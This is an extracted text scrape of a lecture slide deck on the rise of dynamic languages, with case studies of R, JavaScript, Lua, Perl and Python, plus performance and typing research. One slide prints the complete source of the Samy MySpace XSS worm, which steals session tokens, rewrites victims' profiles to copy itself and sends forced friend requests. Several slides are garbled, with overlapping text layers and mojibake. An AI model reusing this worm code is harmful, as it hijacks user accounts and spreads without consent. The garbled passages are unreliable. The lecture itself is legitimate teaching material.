SlideShare una empresa de Scribd logo
1 de 32
The Rise of
   Dynamic
  Languages
                     Jan Vitek

                                                    1




      Programming Languages...

… provide a vocabulary for computational thinking
… are measured in the time to solution
… designs manifest tensions
                       end-users vs. CS
                    exploratory vs. batch
                   interpretive vs. compiled
                       Lisp vs. Fortran


                                                    2
50+ years ago…

Needless to say, the point of the exercise
was not the differentiation program
          rather clarification of
itself ... but
the operations involved in symbolic
computation
                                [McCarthy, History of Lisp HOPL’78]



                                                                      3




 Smalltalk               JavaScript
  Ruby
                     shell     ActionScript
                 R             PHP
Perl                  Lua
                                   Sho
                                                 Tcl

                         VB
           Erlang
                                           Matlab
  Python
                      scheme             Clojure
      Lisp                     Forth
                                                                      4
Two decades of dynamism    VisualBasic    dyn     1991
                             Python       dyn     1991
                               Lua        dyn     1993
                                R         dyn     1993
                              Java     stat+dyn   1995
                           JavaScript     dyn     1995
                              Ruby        dyn     1995
                               C#      stat+dyn   2001
                              Scala      stat     2002
                                F#       stat     2003
                             Clojure      dyn     2007
                               Sho        dyn     2010


                                                         5




                          Popularity




                                                         6
7




      PHP
       Java
     Ruby
  Scheme
      SQL
         JS
   Python
     Asm
      Perl
     Scala
    Pascal
 ColdFus
  AScript
      Lisp
   Delphi
  Haskell
    Erlang
  Clojure
    Cobol
 Smalltalk
        Tcl
  Fortran
          R
   Ocaml
     Rexx



http://blog.revolutionanalytics.com/2010/12/programming-languages-ranked-by-popularity.html   8
9




         Java
       C++
          VB
          C#
           C
        SQL
           JS
        PHP
        Perl
     Python
        Ada
      Pascal
       Asm
      Cobol
    Fortran
    AScript
     Delphi
   Smalltalk
        Lisp
      Obj-C
   ColdFus
          Tcl
       Shell
    Scheme
    Haskell
       Scala
       Rexx
      Erlang
      Forth
     Ocaml
http://langpop,com   10
Dynamic Languages…
  Dynamic Typing Single threaded
     Late binding Failure oblivious
        Reflective Garbage collected
       Interactive Embeddable/Extendible
       Permissive High-level Data Structures
Lightweight syntax Performance challenged

                                               11




       Dynamic languages are everywhere…

         Dynamic languages are popular…

        Dynamic languages are successful…

        Dynamic languages are growing up…




                                               12
case study:                 R


    … a language for data analysis and graphics.
    … widely used in statistics
    … based on S by John Chambers at Bell labs
    … open source effort started by Ihaka and Gentleman




                                                          13




Workflow based on
interaction with the IDE:
read data into variables
make plots
compute summaries
more intricate modeling steps
develop simple functions to automate analysis
…

                                                          14
case study:         R


… vast libraries of reusable codes
… well documented and self-testing
… 4,338 R packages in CRAN
  and other repositories




                                         15




                 case study:         R

 • Functional and concise
    cube <- function(x=5) x*x*x
    cube()
    cube(2)
    cube(x=4)


                                         16
case study:              R

Powerful array and matrix operations

 x <- c(2,7,9,2,NA,5)
 x[1:3]
 x[-1]
 x[is.na(x)] <- 0


                                           17




              case study:              R

Powerful graphics

> plot(cars)
> lines(lowess(cars))




                                           18
case study:    R

• Powerful graphics
   > plot(
     function(y)y*y,
     0,
     3)




                                            19




              case study:    R



  R is Lazy
  > with(formaldehyde, carb * optden)
  [1] 0.008 0.080 0.223 0.322 0.438 0.703




                                            20
case study:                            R


 … tools and support for reproducible experiments




                           Recent NYTimes story on
                           uncovering faulty research
                           www.nytimes.com/2011/07/08/health/research/08genes.html
                                                                                     21




                    case study:                            R

 … is a dynamic language
 … is a vector language
 … is an object-oriented language
 … is a functional language
 … is a lazy language
  Lightweight          Single threaded                            Reflective
  Embeddable               Portable                            High-level Data
   Extendible          Dynamic Typing                             Permissive
Failure oblivious         Interactive                                Open
                                                                                     22
Lightweight syntax

public class Hello {
    public static void main(String[] args){
         System.out.println(“hello”);
} }

                                                       puts “hello”

Map<String,Integer> m=new HashMap<String,Integer>();
m.put(“one”, 1);

                                                             m = {}
                                                       m{“one”) = 1
                                                                            23




                     Dynamic Typing

    Dynamic languages use Duck Typing
          "When I see a bird that walks like a duck and swims like a duck
          and quacks like a duck, I call that bird a duck." -- JWRiley
    More precisely
     fun F( x ) {
        if (alwayFalse) x.ready()
        else            x.draw()
     }



                                                                            24
Dynamic Typing

  “In a strongly typed language each data area has a distinct type &
   each process states its communication requirements in terms of
                                       these types.” -- K. Jackson ’77
If static typing has benefits such as:
  • preventing some errors ahead of time
  • simplifying generation of efficient code
  • providing machine-checked documentation
Why is it a bad idea?


                                                                         25




                 Dynamic Typing

Static typing only catches trivial errors
        most systems can’t even catch NPEs, or off-by-one errors
Static typing ossifies code and hinders evolution
 make the type checker globally happy before testing a local change
Static typing slows down the rate of development
                     pessimistic typing, in case of doubt just say no



                                                                         26
The boxplot from figure 7.241 visualizes the results from the tasks having imple-
                            mented semantic errors.
                                Dynamic Typing

                                                              Tasks




                                                       secs
  Hypothesis:

  No difference in time solving


                                                     00
  semantic bugs with a dynamically
                                                    20
  or statically typed language
                                                      00
                                                     10



                                                     Groovy
                                                                  Java
                                         Figure 7.24: Boxplot - Semantic Bugs - Results of both groups
Steinberg. What is the impact of static type systems on maintenance tasks? MSc Thesis U.Duisburg-Essen
                                                                                                         27
                              For the tasks having a di↵culty level of 1 it can be recognized that the subjects
                            using Java to complete the task needed less time than the subjects using Groovy.
                              The boxplots for level 2 look di⌦erent. The minimum of the Groovy and Java
                            boxplot are almost the same, but the lower quantile as well as the median are below
                            the ones of the Groovy boxplot. The upper quantile and the maximum of Java is
                            higher than Groovy’s.
              case study:                                 JavaScript
                              The results for level 3 show, that Java is slower than Groovy. Additionally, there
                            exist outliers for every task.




                                   91%
                            1   One outlier for level 3 Groovy is not displayed, being near 8000000




                                    of top 10K web pages!


         Lightweight                     Single threaded                      Reflective
         Embeddable                          Portable                      High-level Data
          Extendible                     Dynamic Typing                       Permissive
       Failure oblivious                    Interactive                          Open
                                                                                                         28
Reflection
 … refers to the runtime manipulation of program structures
 recall the R with keyword?
  > with(fdehyde,c*o)

 It is actually a generic function:
  with.default
    <- function(data,expr,...)
        eval( substitute(expr),
               data,
               enclos=parent.frame())
                                                              29




                        Reflection

   Access object properties         x[“f”]
      Update object properties     x[“f”]=2
    Delete object properties      delete x.f
    Discover properties       for(var p in x){
   Access global variables       window[“f”]
Update global variables        window[“f”]=2
Access/update local variables   eval(“f = 2”)
                                                              30
case study:                               Lua


  • C library for seamless embedding
  • Interoperation requires reflection over data

  Lightweight                   Single threaded                     Reflective
  Embeddable                        Portable                     High-level Data
   Extendible                   Dynamic Typing                      Permissive
Failure oblivious                  Interactive                   Garbage-collected

    Lerusalimschy, et. al. Passing a Language through the Eye of a Needle, ACMQUEUE, 2011
                                                                                            31




                case study:                               Lua

Adobe Lightroom
Used ...
                                                                    ObjC
… to provide interface and                                          12%
                                                               C
 glue between components                                       9%

… for business logic, controllers,                          C++
                                                                                    Lua
 views                                                      16%
                                                                                    63%
… for its fast turn around



            Troy Gaul. Lightroom Exposed. http://www.troygaul.com
                                                                                            32
Embeddable


   An embeddable language must be have an API that allows data to be
   accessed and manipulated externally
             JavaScript designed to be embedded in HTML pages
             Interaction with browser adds “isolation”-based security model
             Document Object Model exposes the web page




                                                                                                               33




<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode
(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}
else{return              eval('document.body.inne'+'rHTML')}}function               getData(AU){M=getFromURL
(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split
('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if
(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname
+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC
( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if
(O>0){N+='&'}var    Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!
=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}
eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send
(BK);return    true}function    findIn(BF,BB,BC){var    R=BF.indexOf(BB)+BB.length;var    S=BF.substring(R,R
+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B
+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var
V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}
  <div id="code" expr="alert('boom')" style="background:url('java
function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}
else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject
            script:eval(document.all.mycode.expr)')">
('Microsoft.XMLHTTP')}catch(e){Z=false}}}return      Z}var     AA=g();var     AB=AA.indexOf('m'+'ycode');var
AC=AA.substring(AB,AB+4096);var      AD=AC.indexOf('D'+'IV');var     AE=AC.substring(0,AD);var     AF;if(AE)
{AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy
is   my   hero.   <d'+'iv    id='+AE+'D'+'IV>'}var   AG;function   getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf
('samy')==-1){if(AF){AG+=AF;var     AR=getFromURL(AU,'Mytoken');var    AS=new    Array();AS['interestLabel']
='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?
fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero
(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS
['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter
(AU,'hash');httpSend('/index.cfm?
fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function      main(){var
AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj
();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?
fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter
(AU,'hashcode');var    AR=getFromURL(AU,'Mytoken');var    AS=new   Array();AS['hashcode']=AQ;AS['friendID']
='11851658';AS['submit']='Add                       to                      Friends';httpSend2('/index.cfm?
fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function       httpSend2
(BH,BI,BJ,BK){if(!xmlhttp2){return            false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open    34
simplify the software development cycle

       case study:                                          Embeddable
                                                           #Call at each cycle of Mercury execution!
                                                           energyTal = mc.tally.tal
       Mercury!                                            ["EnergyDeposition”]!

                            Python !                    if energyTal.getValue(Particle="Neutron",
                                                        Cell=”Skull") > 1e-6:!
                                Mercury is a       general-purpose parallelenergy deposition to
                                                           print "Neutron Monte Carlo particle
                                transport code written in C++
                                                        the skull reached threshold."!



                                Health physics: a “phantom” human can be modeled (at
    … C++ parallel Monte Carloindeposition inittransportthen validate
     The Mercury application embeds Python to make to the skull overcode
                                             particle easier to test the
                           right) and placed a scenario. The code can
                           determine neutron                          and
       the software.                course of a simulation
    … embeds Python to ease testing & validation scripts for
     Goal: replace the majority of compiled C++ testing with Python
       shorter compile times and faster development cycle
    … massively faster development cycle
                               At right, the National Ignition Facility
      Lawrence Livermore National Laboratory
                               target chamber is modeled. This                                    4
                               model was used in Mercury to
Procassini, Taylor, McKinley, Greenman,neutronO’Brien, Beck, Hagmann,.Update
                               simulate Cullen, deposition into the
                               surrounding facility walls and                                           10 m
on the Development and Validation of MERCURY: A modern, Monte Carlo
particle transport code. Mathematicsthe hazards
                               evaluate
                                           and Computation, Supercomputing,
                               correspondingly
Reactor Physics and Nuclear Biological Applications, 2005.
                                                                                                               35
                                Lawrence Livermore National Laboratory
                                                                                                          3


                        In Kull, the dynamic language is “front and center” and the static language
                        components are compiled, then imported at runtime



   case study:                                         Extendible                  >> from kull import *
                                                                                   >> mesh = Mesh(aFileName)

                              Python / pympi!
                                C++!        C++!        C++!             C++!

                                                                 …


                         The Kull application extends Python to provide a “steerable” simulation code.
      … inertial confinement fusion simulation
                 Pros:
                         flexibility, “it’s just Python”, “like a duck” interface compliance, easy to
      … extendswrite tests provide a “steerable” simulation
                C++ to
                         Cons:
      … wrapped and exposed to Python via SWIG for binding technology
              High costs (maintenance, compile time, etc.) paid
                         Ex: ~350K lines of code, 1.7 mil lines of generated wrapper code.
      … 1.7Mloc generated C++ wrappers (static price)
             Lawrence Livermore National Laboratory
                                                                                                                    6




              Alumbaugh, Dynamic Languages for HPC at LLNL. Talk at VEESC Workshop, 2010
                                                                                                               36
Failure Obliviousness
Dynamic languages keep the program running…
        … by allowing the execution of incomplete programs

        … by converting data types automatically when possible

        … by decreasing number of errors that must be handled


“Best effort” execution



                                                                 37




             Failure Obliviousness
Getting an error in JavaScript is difficult

                x = {};                // object
           x.b = 42;                   // field add
        y = x[“f”];                     // undefined
               z = y.f;                  // error

                                                                 38
case study:                                     JSLocker

    • Abort untrusted JavaScript code
    • From enclosing program’s point of view, random failures
al-Site Behavior
    • Most programs are resilient

   Policy       Functional                               AdBlock               Partial        Broken
   Empty           50                                       0                    0               0
   AddOnly         36                                       8                    5               1
   SendAfterRead   42                                       7                    1               0

  Hammer, Richards, Vitek. Flexible Access Control Policies with Delimited Histories and Revocation, Submitted.
                                                                                                                  39
Fully functional. No visible features hindered.
Ads blocked. The site itself worked, but some ads did not.
Partially Functional. Reduced functionality, but site still usable.
Broken. Fundamental features of site broken.
                           case study:                                        CERN

              Motivation                  Security with Delimited Histories              Evaluation               Summary
                                                                                                        26/29



         • Dynamic languages used: Python, Perl, Bash, Tcl, …
         • But, most of the analysis code is in C++
                    Can C++ be turned into a dynamic language?

          Lightweight                       Single threaded                        Reflective
          Embeddable                            Portable                        High-level Data
           Extendible                       Dynamic Typing                         Permissive
        Failure oblivious                      Interactive                            Open
                                                                                                                  40
Ideal Interpreter
              4.  study: CERN & CINT
           case Smooth transition to compiled code,
                   with compiler or conversion to compiled language
• From 1991,5.  Straight-forward use: reflection/ easy language.
               400KLOC; parser, interpreter, known
• Interface to 6.  Possible extensions with>20k users to e.g. C++
               ROOT data analysis framework, conversion
   Ideally:                               J=8"1GH*"2"G#8=(*'(*#8"";$2"G#8=(.*
       Higher level syntax
       Faster                      0"G#=8/$2"G#8=(7Q*0"*4*RS*
      Threading                    #8""T7U"#B81(GHM<<8"..D5$2"G#8=(.5V*0"ES*
                                   J=8*D'(#*'4RS*'/0";.'W"DES*XX'E*K*
                                   **$2"G#8=(Q*"2"G#8=(*4*0"@'FS*

 Antcheva, Ballintijn, Bellenot, Biskup, Brun, Buncic, Canal, Casadei, Couet, Fine, Franco, Ganis, Gheata, Gonzalez Maline, 2010-09-03
                                                    VEESC 2010 • Philippe Canal, Fermilab                                                17
 Goto, Iwaszkiewicz, Kreshuk, Segura, Maunder, Moneta, Naumann, Offer, Onuchin, Panacek, Rademakers, Russo, Tadel.
ROOT — A C++ framework for petabyte data storage, statistical analysis and visualization. Computer Physics Comm. 2009

                                                                                                                                 41




                             case study:                                          Perl

        Pluto
        … manages the retirement savings of 5.5 million users
        … for a value of 23 billion Euros
                                                 320 000 lines of Perl
                                                    68 000 lines of SQL
                                                    27 000 lines of shell
                                                    26 000 lines of HTML

   Lundborg, Lemonnier. PPM or how a system written in Perl can juggle with billions. Freenix 2006
   Lemonnier. Testing Large Software With Perl. Nordic Perl Workshop 2007
   Stephenson. Perl Runs Sweden's Pension System. O’Reilly On Lamp, 2005                                                         42
case study:               Perl

High productivity: Perl wins over Java
Disciplined use of the language: Many features disallowed
Home-brewed contract notation: Runtime checked



  Lightweight          Single threaded         Reflective
  Embeddable               Portable         High-level Data
   Extendible          Dynamic Typing          Permissive
Failure oblivious         Interactive             Open
                                                              43




               case study:               Perl
contract(‘do_sell_current_holdings’)
  -> in(&is_person, &is_date)
  -> out(&is_state)
  -> enable;

sub do_sell_current_holdings {
   my ($person, $date)
   …
   if ($operation eq “BUD_”) {
   …
   return $state;
}
                                                              44
Performance




                                                                                                                                                                   45




                       All benchmarks / Java (geo mean)
                                                                      Run time        100
                                                                                                                  Fannkuch time / Java
                                                                                                                                                                96.17
50.0                                                                                                                                          82.01

                                                                      42.46            75


37.5                                                                                   50

                                                      28.91                                     17.90
                                                                                       25                              14.81          12.98             15.57
                                                                                                         9.45   9.32
25.0                                                                                                                           1.00
                                                                                        0
                                                              16.47                             ruby python perl        php    java   scala jruby jython groovy

12.5

       3.60    3.99             4.27                                                                                   Fasta time / Java
                        2.27           1.00   1.93                                                                                            375.63
                                                                                      400
  0
       ruby   python     perl   php    java   scala   jruby   jython groovy
                                                                                      300

                                                                                      200

! Dynamic languages often                                                             100       64.46                  69.29
                                                                                                        21.50 22.12
  much slower than Java                                                                 0
                                                                                                ruby python perl        php
                                                                                                                               1.00

                                                                                                                               java
                                                                                                                                      1.27

                                                                                                                                      scala jruby jython groovy



                                                                                                                  Mandelbrot time / Java
! C interpreters: ~2-5x                                                               1500
                                                                                                                                              1187.64
  ! can be 12x faster, 145x slower                                                    1125


! Java interpreters: ~16-43x                                                           750
                                                                                                                                                                419.52

  ! up to 1200x slower                                                                 375
                                                                                                105.08
                                                                                                         19.42 26.83 20.24 1.00                         37.12
                                                                                            0
                                                                © Nate Nystrom, ’07              ruby python perl       php    java   scala jruby jython groovy    46
Performance


Does not matter for…
     … short running and I/O bound codes
But, when performance matters…
     … rewrite applications in C and lose benefits of dynamism




                                                                47




                       Truth iness


           correctness is crucial

          static types are better

      speed requires compilation

       programs are documents

                                                                48
Dynamic languages are a gateway drug to…
                                … programming
                             … language design




                                                         49




Types slow down development…
      ...and rarely express the properties of interest




                                                         50
Designing better dynamic languages is a challenge
 best left to…
                                   ...statisticians?
                                      ...physicists?
                                … web designers?



                                                                                                       51




how dynamic is dynamic



Richards, Lebresne, Burg, Vitek, An Analysis of the Dynamic Behavior of JavaScript Programs. PLDI’10
                                                                                                       52
0.4




               Google
  0.2


                                            Objects
  0.0
                                           are dead
  1.0


                                                                  Dead
                                                                  Read
  0.8
                                                                  Update
                                                                  Add
                                                                  Delete

                      Writes
  0.6




  0.4
               Adds                 Adds                       Adds
                      Deletes                Reads
  0.2




  0.0                                                                      53




         1.0
aries    1.0


 s in-                                                Dead

 tion,   0.8
         0.8
                           Sunspider                  Dead
                                                      Read
                                                      Read
                                                      Update
                                                      Update
                                                      Add
lt on                                                 Add
                                                      Delete
                                                      Delete
ence     0.6
         0.6

  pro-
  sets   0.4

oned
         0.4



y of-    0.2

  Be-    0.2



char-
 o be
         0.0
         0.0
         1.0

ch as    1.0


  dis-                         Google                 Dead
                                                      Dead
                                                      Read
 ).                                                   Read
         0.8
                                                      Update
         0.8
                                                      Update
                                                      Add
                                                      Add
                                                      Delete
                                                      Delete
         0.6
         0.6




e the    0.4

 sing
         0.4



ative    0.2

 rtic-   0.2


ange
 ray-
         0.0
         0.0
                                                                           54
mance of a system on real sites and a guide for implementers. We
                      Does it matter?
                                            14.0
                                                         Amazon9
     Performance$Relative$to$Firefox$1.5$



                                            13.0
                                            12.0         Sunspider30.9.1                                         13.4$
                                            11.0
                                            10.0
                                             9.0
                                             8.0
                                             7.0
                                             6.0
                                             5.0
                                             4.0                                                                  3.1$
                                             3.0
                                             2.0                                                                                  Figure 19. Cross-browser comparison. Impact of DOM ope
                                             1.0                                                                                  ations on throughput. (number normalized to the replay withou
                                             0.0
                                                                                                                                  DOM; average over five runs; lower is better)
                                                   Firefox31.5   Firefox32.0   Firefox33.0   Firefox33.5   Firefox33.6.12

 igure 18. Speed Vitek. Automated Construction of JavaScript Benchmarks different ver- 55
       Richards, Gal, Eich, ups. Throughput improvements of OOPSLA11
                                                                                                                                      Figure 20 shows the relative cost of enabling event processin
 ons of Firefox. (sunspider, amazon; FF1.5 - FF 3.6.12) Measure-                                                                  in replay as the ratio of the running times. In many browsers, th
ments on an HPZ800, dual Xeon E5630 2.53Ghz, 24GB memory,                                                                         cost of event processing for the bing benchmark is relatively high
Windows 7 64-bit Enterprise. Numbers normalized to FF 1.5.                                                                        and as high as 77x in the case of Safari5. This may be becaus


                                                                                                                            12                                                              2011/4/1




                                                                 Trace - based
                                                                 Compilation


   Bebenita, Brandner, Fahndrich, Logozzo, Schulte, Tillmann, Venter. SPUR: A Trace-Based JIT Compiler for CIL. OOPSLA10
                                                                                                                             56
We go from this ...
   for	
  (var	
  n	
  =	
  0;	
  n	
  <	
  1000;	
  n++)	
  {
   	
   for	
  (var	
  n2	
  =	
  0;	
  n2	
  <	
  1000;	
  n2++)	
  {
             for	
  (var	
  i	
  =	
  0;	
  i<a.length-­‐1;	
  i++)	
  {
   	
   	
   	
   var	
  tmp	
  =	
  a[i];	
  
   	
   	
   	
   a[i]	
  =	
  a[i+1];	
  
   	
   	
   	
   a[i+1]	
  =	
  tmp;
   	
   	
   }
   	
   }
   }


 35	
  method	
  calls,	
  129	
  guards,	
  224	
  total	
  instruc8ons   57




  to this ...




 35	
  method	
  calls,	
  129	
  guards,	
  224	
  total	
  instruc8ons
                                                                            58
back to…




 10	
  loop	
  instruc8ons,	
  2	
  loop	
  guards!
 Performance	
  7x	
  faster	
  than	
  the	
  CLR	
  based	
  JScript,	
  and	
  slightly	
  faster	
  than	
  V8         59




            Static and dynamic type checking


            Dynamic type checking is great:
           • anything goes, until it doesn't;
                                                                                  Static type checking is great:
           • a program can be run even when
             crucial pieces are missing                                          • catches bugs earlier;
     •                                                                            • enables faster execution.




                                    Can they co-exist in the same design?



  Wrigstad, Zappa Nardelli, Lebresne, Ostlund, Vitek, Integrating Typed and Untyped Code in a Scripting Language. POPL’10   60
Like types

Introduce a novel type construct that mediates between static and dynamic.

                                            still flexible
                                                                                     flexible
  fast
                 static                      like type                     dynamic

catch errors                             catch some errors


class    Point(var x:Int, var y:Int) {
  def    getX():Int = x;
  def    getY():Int = y;
  def    move(p:like Point) { x := p.getX(); y := p.getY(); }
}


 • Compiler checks that operations on like                  C variables are well-typed

 • Does not restrict binding of like          C variables                                        61




              Code
             Contracts


               Fähndrich, Barnett, Logozzo: Embedded contract languages. SAC'10

Fahndrich, Logozzo. Clousot: Static Contract Checking with Abstract Interpretation. FoVeOOS’10
                                                                                                 62
Use code to specify code…


T Pop(){
Contract.Requires(!this.isEmpty);
Contract.Ensures(Contract.Result<T>()!= null);
    return this.a[--next];
}




                                                 63




        Conclusion

    Dynamic languages increase
    the velocity of science


    Dynamic languages are a gateway
    drug to computing


    Dynamic languages need some
    static features, some of the time


                                                 64

Más contenido relacionado

La actualidad más candente

A Recommender System for Refining Ekeko/X Transformation
A Recommender System for Refining Ekeko/X TransformationA Recommender System for Refining Ekeko/X Transformation
A Recommender System for Refining Ekeko/X TransformationCoen De Roover
 
Multi-dimensional exploration of API usage - ICPC13 - 21-05-13
Multi-dimensional exploration of API usage - ICPC13 - 21-05-13Multi-dimensional exploration of API usage - ICPC13 - 21-05-13
Multi-dimensional exploration of API usage - ICPC13 - 21-05-13Coen De Roover
 
Syntactic Salt and Sugar Presentation
Syntactic Salt and Sugar PresentationSyntactic Salt and Sugar Presentation
Syntactic Salt and Sugar Presentationgrepalex
 
JVM bytecode - The secret language behind Java and Scala
JVM bytecode - The secret language behind Java and ScalaJVM bytecode - The secret language behind Java and Scala
JVM bytecode - The secret language behind Java and ScalaTakipi
 
Clojure and The Robot Apocalypse
Clojure and The Robot ApocalypseClojure and The Robot Apocalypse
Clojure and The Robot Apocalypseelliando dias
 
C++0x :: Introduction to some amazing features
C++0x :: Introduction to some amazing featuresC++0x :: Introduction to some amazing features
C++0x :: Introduction to some amazing featuresChristian Perone
 
flatMap Oslo presentation slides
flatMap Oslo presentation slidesflatMap Oslo presentation slides
flatMap Oslo presentation slidesMartin Odersky
 
Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...
Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...
Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...Fahad Cheema
 
Difference between Java and c#
Difference between Java and c#Difference between Java and c#
Difference between Java and c#Sagar Pednekar
 
R & CDK: A Sturdy Platform in the Oceans of Chemical Data}
R & CDK: A Sturdy Platform in the Oceans of Chemical Data}R & CDK: A Sturdy Platform in the Oceans of Chemical Data}
R & CDK: A Sturdy Platform in the Oceans of Chemical Data}Rajarshi Guha
 
TR5 Prolifer and Post-Correction System. Ludwig Maximilians
TR5 Prolifer and Post-Correction System. Ludwig MaximiliansTR5 Prolifer and Post-Correction System. Ludwig Maximilians
TR5 Prolifer and Post-Correction System. Ludwig MaximiliansBiblioteca Nacional de España
 
Cheminformatics in R
Cheminformatics in RCheminformatics in R
Cheminformatics in RRajarshi Guha
 
Reverse-Engineering Reusable Language Modules from Legacy DSLs
Reverse-Engineering Reusable Language Modules from Legacy DSLsReverse-Engineering Reusable Language Modules from Legacy DSLs
Reverse-Engineering Reusable Language Modules from Legacy DSLsDavid Méndez-Acuña
 
Ontology Aware Applications @ YAPC::EU 2012
Ontology Aware Applications @ YAPC::EU 2012Ontology Aware Applications @ YAPC::EU 2012
Ontology Aware Applications @ YAPC::EU 2012Nuno Carvalho
 
Ontology Aware Applications
Ontology Aware ApplicationsOntology Aware Applications
Ontology Aware ApplicationsNuno Carvalho
 

La actualidad más candente (20)

A Recommender System for Refining Ekeko/X Transformation
A Recommender System for Refining Ekeko/X TransformationA Recommender System for Refining Ekeko/X Transformation
A Recommender System for Refining Ekeko/X Transformation
 
Multi-dimensional exploration of API usage - ICPC13 - 21-05-13
Multi-dimensional exploration of API usage - ICPC13 - 21-05-13Multi-dimensional exploration of API usage - ICPC13 - 21-05-13
Multi-dimensional exploration of API usage - ICPC13 - 21-05-13
 
Syntactic Salt and Sugar Presentation
Syntactic Salt and Sugar PresentationSyntactic Salt and Sugar Presentation
Syntactic Salt and Sugar Presentation
 
JVM bytecode - The secret language behind Java and Scala
JVM bytecode - The secret language behind Java and ScalaJVM bytecode - The secret language behind Java and Scala
JVM bytecode - The secret language behind Java and Scala
 
Clojure and The Robot Apocalypse
Clojure and The Robot ApocalypseClojure and The Robot Apocalypse
Clojure and The Robot Apocalypse
 
Garbage
GarbageGarbage
Garbage
 
C++0x :: Introduction to some amazing features
C++0x :: Introduction to some amazing featuresC++0x :: Introduction to some amazing features
C++0x :: Introduction to some amazing features
 
Scalax
ScalaxScalax
Scalax
 
flatMap Oslo presentation slides
flatMap Oslo presentation slidesflatMap Oslo presentation slides
flatMap Oslo presentation slides
 
Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...
Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...
Resource to Performance Tradeoff Adjustment for Fine-Grained Architectures ─A...
 
Ruby golightly
Ruby golightlyRuby golightly
Ruby golightly
 
Difference between Java and c#
Difference between Java and c#Difference between Java and c#
Difference between Java and c#
 
Devoxx
DevoxxDevoxx
Devoxx
 
R & CDK: A Sturdy Platform in the Oceans of Chemical Data}
R & CDK: A Sturdy Platform in the Oceans of Chemical Data}R & CDK: A Sturdy Platform in the Oceans of Chemical Data}
R & CDK: A Sturdy Platform in the Oceans of Chemical Data}
 
Scala google
Scala google Scala google
Scala google
 
TR5 Prolifer and Post-Correction System. Ludwig Maximilians
TR5 Prolifer and Post-Correction System. Ludwig MaximiliansTR5 Prolifer and Post-Correction System. Ludwig Maximilians
TR5 Prolifer and Post-Correction System. Ludwig Maximilians
 
Cheminformatics in R
Cheminformatics in RCheminformatics in R
Cheminformatics in R
 
Reverse-Engineering Reusable Language Modules from Legacy DSLs
Reverse-Engineering Reusable Language Modules from Legacy DSLsReverse-Engineering Reusable Language Modules from Legacy DSLs
Reverse-Engineering Reusable Language Modules from Legacy DSLs
 
Ontology Aware Applications @ YAPC::EU 2012
Ontology Aware Applications @ YAPC::EU 2012Ontology Aware Applications @ YAPC::EU 2012
Ontology Aware Applications @ YAPC::EU 2012
 
Ontology Aware Applications
Ontology Aware ApplicationsOntology Aware Applications
Ontology Aware Applications
 

Destacado

Dynamic languages, for software craftmanship group
Dynamic languages, for software craftmanship groupDynamic languages, for software craftmanship group
Dynamic languages, for software craftmanship groupReuven Lerner
 
Elements of dynamic programming
Elements of dynamic programmingElements of dynamic programming
Elements of dynamic programmingTafhim Islam
 
Dynamic programming
Dynamic programmingDynamic programming
Dynamic programmingShakil Ahmed
 
Dynamic Programming
Dynamic ProgrammingDynamic Programming
Dynamic ProgrammingSahil Kumar
 
Dynamic Programming
Dynamic ProgrammingDynamic Programming
Dynamic Programmingparamalways
 

Destacado (6)

Dynamic languages, for software craftmanship group
Dynamic languages, for software craftmanship groupDynamic languages, for software craftmanship group
Dynamic languages, for software craftmanship group
 
Elements of dynamic programming
Elements of dynamic programmingElements of dynamic programming
Elements of dynamic programming
 
